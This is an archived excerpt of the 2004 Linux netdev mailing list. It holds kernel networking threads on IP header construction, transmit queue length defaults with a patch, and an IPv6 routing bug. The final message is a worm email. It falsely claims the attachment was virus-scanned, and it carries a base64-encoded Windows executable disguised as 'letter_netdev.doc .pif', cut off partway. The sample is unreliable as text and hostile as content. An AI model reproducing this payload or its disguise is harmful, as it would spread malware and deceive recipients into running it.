uswaumsxb1medge.med.ge.com (localhost [127.0.0.1]) by int-ch1gw-6.online-age.net (8.12.9/8.12.8/990426-RLH) with ESMTP id i4IELSqw016235; Tue, 18 May 2004 10:21:29 -0400 (EDT) Received: from uswaumsxb3medge.am.med.ge.com (uswaumsxb3medge.med.ge.com [3.57.24.74]) by uswaumsxb1medge.med.ge.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id LBR7CKYK; Tue, 18 May 2004 09:21:28 -0500 Received: from [3.209.129.48] (uswaucs03 [3.57.24.237]) by uswaumsxb3medge.am.med.ge.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2656.59) id LBR7ZBRJ; Tue, 18 May 2004 09:21:27 -0500 Message-ID: <40AA1C54.2090201@med.ge.com> Date: Tue, 18 May 2004 19:53:16 +0530 From: Manu Garg User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux lover CC: linuxnet , netdev , netfilter Subject: Re: how ip header added in ip_bulid_xmit function? References: <20040518063106.85290.qmail@web90102.mail.scd.yahoo.com> In-Reply-To: <20040518063106.85290.qmail@web90102.mail.scd.yahoo.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5174 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: manu.garg@med.ge.com Precedence: bulk X-list: netdev linux lover wrote: >hello , > In ip_output.c file there is ip_build_xmit function >call. when packet comes from tcp layer to IP layer >this function is called. In that i found that > skb = sock_alloc_send_skb(sk, length+hh_len+15 >,flags&MSG_DONTWAIT, &err); >staement allocates skb for packet. after that i found >that no iphdr adding statement in ip_build_xmit. i >want to know where is iphdr push to skb? cause skb >works using first alloc_skb to allocate memory then >skb_reserve to reserve headroom then put data in skb >by skb_put or skb_push for pushing headers in skb. so >there i found > skb->nh.iph = iph = (struct iphdr *)skb_put(skb, >length); >statement is this does that iphdr adding? > >regards, >linuxlover > > > > >__________________________________ >Do you Yahoo!? >SBC Yahoo! - Internet access at a great low price. >http://promo.yahoo.com/sbc/ >- >To unsubscribe from this list: send the line "unsubscribe linux-net" in >the body of a message to majordomo@vger.kernel.org >More majordomo info at http://vger.kernel.org/majordomo-info.html > > > A packet comes from TCP layer to IP layer through function call tp->af_specific->queue_xmit() (in tcp_output.c:tcp_transmit_skb() ). For IP this function is nothing but ip_queue_xmit() defined in ip_output.c. If you'll check this function, it clearly allocates ip header and put information in it. ---------------------------------------------------- iph = (struct iphdr *) skb_push(skb, sizeof(struct iphdr) + (opt ? opt->optlen : 0)); *((__u16 *)iph) = htons((4 << 12) | (5 << 8) | (sk->protinfo.af_inet.tos & 0xff)); iph->tot_len = htons(skb->len); if (ip_dont_fragment(sk, &rt->u.dst)) iph->frag_off = htons(IP_DF); else iph->frag_off = 0; iph->ttl = sk->protinfo.af_inet.ttl; iph->protocol = sk->protocol; iph->saddr = rt->rt_src; iph->daddr = rt->rt_dst; skb->nh.iph = iph; --------------------------------------------------- I hope this answers your question. regards, Manu Garg http://manugarg.freezope.org/notes From ricardoz@us.ibm.com Tue May 18 07:35:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 18 May 2004 07:35:17 -0700 (PDT) Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4IEZ6KO030237 for ; Tue, 18 May 2004 07:35:13 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e3.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4IEYghL337006; Tue, 18 May 2004 10:34:42 -0400 Received: from d01ml063.pok.ibm.com (d01av04.pok.ibm.com [9.56.224.64]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4IEZGvK081408; Tue, 18 May 2004 10:35:16 -0400 In-Reply-To: Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default To: Marc Herbert Cc: "David S. Miller" , netdev@oss.sgi.com X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: Ricardo C Gonzalez Date: Tue, 18 May 2004 09:34:40 -0500 X-MIMETrack: Serialize by Router on D01ML063/01/M/IBM(Release 6.0.2CF2 HFB2|May 5, 2004) at 05/18/2004 10:34:41 MIME-Version: 1.0 Content-type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4IEZ6KO030237 X-archive-position: 5175 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ricardoz@us.ibm.com Precedence: bulk X-list: netdev Marc, Are you considering the case of small packets? Many applications use lots of small packets. Example is the volano benchmark. You needs to look at throughput rates for small packets. A 1GB ethernet can send something like 1.4 Million 64 byte packets per second. Let me know what you think. regards, --------------------------------------------------------- Rick Gonzalez LTC pSeries Performance Building: 908 Office: 1D004 Phone: (512) 838-0623 Marc Herbert To Ricardo C Gonzalez/Austin/IBM@ibmus 05/14/2004 09:16 cc AM "David S. Miller" , netdev@oss.sgi.com Subject Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default On Sun, 14 Sep 2003, Ricardo C Gonzalez wrote: > David Miller wrote: > > >Back to the main topic, maybe we should set dev->tx_queue_len to > >1000 by default for all ethernet devices. > > > I definately agree with setting the dev->tx_queue_len to 1000 as a default > for all ethernet adapters. All adapters will benefit from this change. > Sorry to exhume this discussion but I only recently discovered this change, the hard way. I carefully read this old thread and did not grasp every detail, but there is one thing that I am sure of: 1000 packets @ 1 Gb/s looks good, but on the other hand, 1000 full size packets @ 10 Mb/s are about 1.2 seconds long! Too little buffering means not enough dampering effect, which is very important for performance in asynchronous systems. Granted. However, _too much_ buffering means too big and too variable latencies. When discussing buffers, duration is very often more important than size. Applications, TCP's dynamic (and kernel dynamics too?) do not care much about buffer sizes, they more often care about latencies (and throughput, of course). Buffers sizes is often "just a small matter of implementation" :-) People designing routers for instance talk about buffers in _milliseconds_ much more often than in _bytes_ (despite the fact that their memories cost more than in hosts, considering the throughputs involved). 100 packets @ 100 Mb/s was 12 ms. 1000 packets @ 1 Gb/s is still 12 ms. 12 ms is great. It's a "good" latency because it is the order of magnitude of real-world constants like: comfortable interactive applications, operating system sheduler granularity or propagation time in 2000 km of cable. But 1000 packets @ 100 Mb/s is 120 ms and is neither very good nor useful anymore. 1000 packets @ 10 Mb/s is 1.2 s, which is ridiculous. It does mean that, when joe user is uploading some big file through his cheap Ethernet card, and that there are no other bottleneck/drops further in the network, every concurrent application will have to wait 1.2 s before accessing the network. Imagine now that some packet is lost for whatever reason on some _other_ TCP connection going through this terrible 1.2 s queue. Then you need one SACK/RTX extra round trip time to recover from it: so it's now 2.4 s to deliver the data just after the drop. Assuming of course TCP does not become confused by this huge latency and probably huge jitter. And I don't think you want to make fiddling with "tc" mandatory for joe user. I am unfortunately not familiar with this part of the linux kernel, but I really think that, if possible, txqueuelen should be initialized at "12 ms" and not at "1000 packets". I can imagine there are some corner cases, like for instance when some GEth NIC is hot-plugged into a 100 Mb/s, but hey, those are corner cases. I think even a simple constant-per-model txqueuelen initialization would be already great. Cheers, Marc. PS: one workaround for joe user against this 1.2s latency would be to keep his SND_BUF and number of sockets small. But this is poor. -- "Je n'ai fait cette lettre-ci plus longue que parce que je n'ai pas eu le loisir de la faire plus courte." -- Blaise Pascal From rmk+netdev=oss.sgi.com@arm.linux.org.uk Tue May 18 08:46:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 18 May 2004 08:46:58 -0700 (PDT) Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk [212.18.232.186]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4IFkqKO004910 for ; Tue, 18 May 2004 08:46:53 -0700 Received: from flint.arm.linux.org.uk ([2002:d412:e8ba:1:201:2ff:fe14:8fad]) by caramon.arm.linux.org.uk with asmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.33) id 1BQ6nl-0005dU-Bu for netdev@oss.sgi.com; Tue, 18 May 2004 16:46:45 +0100 Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.33) id 1BQ6nk-0007qa-JC for netdev@oss.sgi.com; Tue, 18 May 2004 16:46:44 +0100 Date: Tue, 18 May 2004 16:46:44 +0100 From: Russell King To: netdev@oss.sgi.com Subject: 2.6.6: IPv6 initialisation bug Message-ID: <20040518164644.A21467@flint.arm.linux.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-archive-position: 5176 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rmk@arm.linux.org.uk Precedence: bulk X-list: netdev Hi, I think I've found an IPv6 initialisation bug which occurs when IPv6 is modular, and you insert this module when eth0 is up and running, but lo may be down. IPv6 appears to create routes for addresses which are defined as "local" (eg, link local, addresses assigned to the host etc) using the loopback device. However, if the ipv6 module is loaded when lo is down and some other interface is up (eg, in the case of a root-NFS box), then things fall apart. bash-2.04# ip -6 addr 1: eth0: mtu 1500 qlen 1000 inet6 fec0::1:a00:2bff:fe00:193/64 scope site dynamic valid_lft 2591630sec preferred_lft 604430sec inet6 2002:xxxx:xxxx:xxxx:a00:2bff:fe00:193/64 scope global dynamic valid_lft 2591630sec preferred_lft 604430sec inet6 fe80::a00:2bff:fe00:193/64 scope link valid_lft forever preferred_lft forever 2: lo: mtu 16436 inet6 ::1/128 scope host valid_lft forever preferred_lft forever bash-2.04# ip -6 route show table all local ::1 via :: dev lo proto none metric 0 mtu 16436 advmss 16376 unreachable ::/96 dev lo metric 1024 error -101 mtu 16436 advmss 16376 unreachable ::ffff:0.0.0.0/96 dev lo metric 1024 error -101 mtu 16436 advmss 16376 unreachable 2002:a00::/24 dev lo metric 1024 error -101 mtu 16436 advmss 16376 unreachable 2002:7f00::/24 dev lo metric 1024 error -101 mtu 16436 advmss 16376 unreachable 2002:a9fe::/32 dev lo metric 1024 error -101 mtu 16436 advmss 16376 unreachable 2002:ac10::/28 dev lo metric 1024 error -101 mtu 16436 advmss 16376 unreachable 2002:c0a8::/32 dev lo metric 1024 error -101 mtu 16436 advmss 16376 2002:xxxx:xxxx:xxxx::/64 dev eth0 proto kernel metric 256 expires 2591712sec mtu 1500 advmss 1440 unreachable 2002:e000::/19 dev lo metric 1024 error -101 mtu 16436 advmss 16376 unreachable 3ffe:ffff::/32 dev lo metric 1024 error -101 mtu 16436 advmss 16376 fe80::/64 dev eth0 metric 256 mtu 1500 advmss 1440 fec0:0:0:1::/64 dev eth0 proto kernel metric 256 expires 2591712sec mtu 1500 advmss 1440 ff02::1 via ff02::1 dev eth0 metric 0 cache mtu 1500 advmss 1440 ff00::/8 dev eth0 metric 256 mtu 1500 advmss 1440 unreachable default dev lo proto none metric -1 error -101 As you can see, we're missing the local routes for all our addresses against "eth0" - because we tried to add them to the IPv6 routing table when "lo" was down. The result is rather distasteful on the network - we start hammering the local segment with neighbour solicitations for our link local and global addresses, as well as sending neighbour solicitations for other nodes addresses. We receive neighbour advertisment replies, but because we believe we don't own our own address, we forward them back out the same interface triggering yet more neighbour solicitations for our own addresses. So... what's the solution for nodes running off root-NFS where "lo" will always be brought up _after_ some other interface? -- Russell King Linux kernel 2.6 ARM Linux - http://www.arm.linux.org.uk/ maintainer of: 2.6 PCMCIA - http://pcmcia.arm.linux.org.uk/ 2.6 Serial core From linux_lover2004@yahoo.com Tue May 18 23:20:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 18 May 2004 23:20:53 -0700 (PDT) Received: from web90107.mail.scd.yahoo.com (web90107.mail.scd.yahoo.com [66.218.94.78]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4J6KnKO001859 for ; Tue, 18 May 2004 23:20:49 -0700 Message-ID: <20040519062044.15651.qmail@web90107.mail.scd.yahoo.com> Received: from [203.199.141.99] by web90107.mail.scd.yahoo.com via HTTP; Tue, 18 May 2004 23:20:44 PDT Date: Tue, 18 May 2004 23:20:44 -0700 (PDT) From: linux lover Subject: Re: how ip header added in ip_bulid_xmit function? To: Manu Garg Cc: linuxnet , netdev , netfilter In-Reply-To: <40AA1C54.2090201@med.ge.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 5177 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: linux_lover2004@yahoo.com Precedence: bulk X-list: netdev hello, > A packet comes from TCP layer to IP layer through > function call > tp->af_specific->queue_xmit() (in > tcp_output.c:tcp_transmit_skb() ). For > IP this function is nothing but ip_queue_xmit() > defined in ip_output.c. > then why ip_build_xmit and ip_build_xmit_slow used? i think in case of ICMP packet control in icmp.c alwayes goes to ip_build_xmit? regards, linux_lover __________________________________ Do you Yahoo!? SBC Yahoo! - Internet access at a great low price. http://promo.yahoo.com/sbc/ From marc.herbert@free.fr Wed May 19 02:30:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 19 May 2004 02:30:06 -0700 (PDT) Received: from relay02s.clb.oleane.net (relay02s.clb.oleane.net [213.56.31.143]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4J9U1KO009958 for ; Wed, 19 May 2004 02:30:02 -0700 Received: from [10.0.0.3] ([194.2.198.253]) by relay02s.clb.oleane.net with ESMTP id i4J9TtaC016607 for ; Wed, 19 May 2004 11:29:55 +0200 Date: Wed, 19 May 2004 11:30:28 +0200 (CEST) From: Marc Herbert X-X-Sender: mherbert@fcat To: netdev@oss.sgi.com Subject: Re: TxDescriptors -> 1024 default. Please not for every NIC! In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by relay02s.clb.oleane.net id i4J9TtaC016607 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4J9U1KO009958 X-archive-position: 5178 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: marc.herbert@free.fr Precedence: bulk X-list: netdev On Sat, 15 May 2004, Marc Herbert wrote: > > > Sorry to exhume this discussion but I only recently discovered this > change, the hard way. > > I am unfortunately not familiar with this part of the linux kernel, > but I really think that, if possible, txqueuelen should be initialized > at some "constant 12 ms" and not at the "1000 packets" highly variable > latency setting. I can imagine there are some corner cases, like for > instance when some GEth NIC is hot-plugged into a 100 Mb/s, or jumbo > frames, but hey, those are corner cases : as a first step, even a > simple constant-per-model txqueuelen initialization would be already > great. After some further study, I was glad to discover my suggestion above both easy and short to implement. See patch below. Trying to sum-it up: - Ricardo asks (among others) for a new 1000 packets default txqueuelen for Intel's e1000, based on some data (couldn't not find this data, please send me the pointer if you have it, thanks). - Me argues that we all lived happy for ages with this default setting of 100 packets @ 100 Mb/s (and lived approximately happy @ 10 Mb/s), but we'll soon see doom and gloom with this new and brutal change to 1000 packets for all this _legacy_ 10-100 Mb/s hardware. e1000 data only is not enough to justify this radical shift. If you are convinced by _both_ items above, then the patch below content _both_, and we're done. If you are not, then... wait for further discussion, including answers to latest Ricardo's post. PS: several people seem to think TCP "drops" packets when the qdisc is full. My analysis of the code _and_ my experiments makes me think they are wrong: TCP rather "blocks" when the qdisc is full. See explanation here: (Subject: Re: TcpOutSegs way too optimistic (netstat -s)) ===== drivers/net/net_init.c 1.11 vs edited ===== --- 1.11/drivers/net/net_init.c Tue Sep 16 01:12:25 2003 +++ edited/drivers/net/net_init.c Wed May 19 11:05:34 2004 @@ -420,7 +420,10 @@ dev->hard_header_len = ETH_HLEN; dev->mtu = 1500; /* eth_mtu */ dev->addr_len = ETH_ALEN; - dev->tx_queue_len = 1000; /* Ethernet wants good queues */ + dev->tx_queue_len = 100; /* This is a sensible generic default for + 100 Mb/s: about 12ms with 1500 full size packets. + Drivers should tune this depending on interface + specificities and settings */ memset(dev->broadcast,0xFF, ETH_ALEN); ===== drivers/net/e1000/e1000_main.c 1.56 vs edited ===== --- 1.56/drivers/net/e1000/e1000_main.c Tue Feb 3 01:43:42 2004 +++ edited/drivers/net/e1000/e1000_main.c Wed May 19 03:14:32 2004 @@ -400,6 +400,8 @@ err = -ENOMEM; goto err_alloc_etherdev; } + + netdev->tx_queue_len = 1000; SET_MODULE_OWNER(netdev); From linux_lover2004@yahoo.com Wed May 19 03:36:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 19 May 2004 03:37:00 -0700 (PDT) Received: from web90107.mail.scd.yahoo.com (web90107.mail.scd.yahoo.com [66.218.94.78]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4JAaZKO016328 for ; Wed, 19 May 2004 03:36:55 -0700 Message-ID: <20040519103630.42373.qmail@web90107.mail.scd.yahoo.com> Received: from [203.199.141.99] by web90107.mail.scd.yahoo.com via HTTP; Wed, 19 May 2004 03:36:30 PDT Date: Wed, 19 May 2004 03:36:30 -0700 (PDT) From: linux lover Subject: RE: how ip header added in ip_bulid_xmit function? To: Galy Lee Cc: linuxnet , netdev , netfilter In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 5179 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: linux_lover2004@yahoo.com Precedence: bulk X-list: netdev --- Galy Lee wrote: > > It seems that ip_build_xmit_slow is used to send to > bulk data, but the > ip_build_xmit is used to send single data packet. > that mean ip_queue_xmit as well as ip_build_xmit and ip_build_xmit_slow are all used for sending packet. but whats difference then between all three functions? > regards, > linux_lover > > > __________________________________ Do you Yahoo!? SBC Yahoo! - Internet access at a great low price. http://promo.yahoo.com/sbc/ From 200302090007.h1907ga10878@imp.lg.ua Wed May 19 04:26:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 19 May 2004 04:28:07 -0700 (PDT) Received: from oss.sgi.com (imp.lg.ua [193.108.240.43]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4JBPNKO021193 for ; Wed, 19 May 2004 04:25:29 -0700 Message-Id: <200405191125.i4JBPNKO021193@oss.sgi.com> From: 200302090007.h1907ga10878@imp.lg.ua To: netdev@oss.sgi.com Subject: Re: letter Date: Wed, 19 May 2004 14:22:58 +0300 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0016----=_NextPart_000_0016" X-Priority: 3 X-MSMail-Priority: Normal X-archive-position: 5180 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: 200302090007.h1907ga10878@imp.lg.ua Precedence: bulk X-list: netdev This is a multi-part message in MIME format. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Your document is attached. +++ Attachment: No Virus found +++ Kaspersky AntiVirus - www.kaspersky.com ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: application/octet-stream; name="letter_netdev.doc .pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="letter_netdev.doc .pif" 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 